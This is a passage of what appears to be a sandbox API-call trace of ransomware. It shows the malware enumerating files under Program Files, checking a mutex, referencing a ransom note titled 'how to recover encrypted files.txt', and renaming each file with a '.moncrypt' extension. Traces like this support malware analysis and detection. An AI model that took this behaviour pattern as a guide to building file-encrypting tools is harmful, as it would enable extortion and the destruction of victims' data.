CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png", cchWideChar=91, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 91 [0057.725] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\HueCycle\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0057.726] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0057.726] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.726] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.726] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.726] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0057.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.727] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png.moncrypt")) returned 0 [0057.727] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.727] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.727] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.727] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.727] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.727] GlobalUnlock (hMem=0x44000c) returned 0 [0057.727] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.727] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.727] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.727] GlobalUnlock (hMem=0x44000c) returned 0 [0057.727] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.727] GlobalUnlock (hMem=0x440004) returned 0 [0057.727] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.727] CharLowerBuffW (in: lpsz="NavigationRight_ButtonGraphic.png", cchLength=0x21 | out: lpsz="navigationright_buttongraphic.png") returned 0x21 [0057.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.728] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png", cchWideChar=86, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.pngf", lpUsedDefaultChar=0x0) returned 86 [0057.729] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\HueCycle\\NavigationRight_ButtonGraphic.pngf", lpUsedDefaultChar=0x0) returned 4 [0057.729] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0057.729] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.729] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.729] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.729] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0057.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.730] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png.moncrypt")) returned 0 [0057.730] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.730] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.730] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.730] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.730] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.730] GlobalUnlock (hMem=0x440004) returned 0 [0057.730] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.730] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.730] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.730] GlobalUnlock (hMem=0x440004) returned 0 [0057.730] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.730] GlobalUnlock (hMem=0x44000c) returned 0 [0057.730] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.730] CharLowerBuffW (in: lpsz="NavigationRight_SelectionSubpicture.png", cchLength=0x27 | out: lpsz="navigationright_selectionsubpicture.png") returned 0x27 [0057.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, 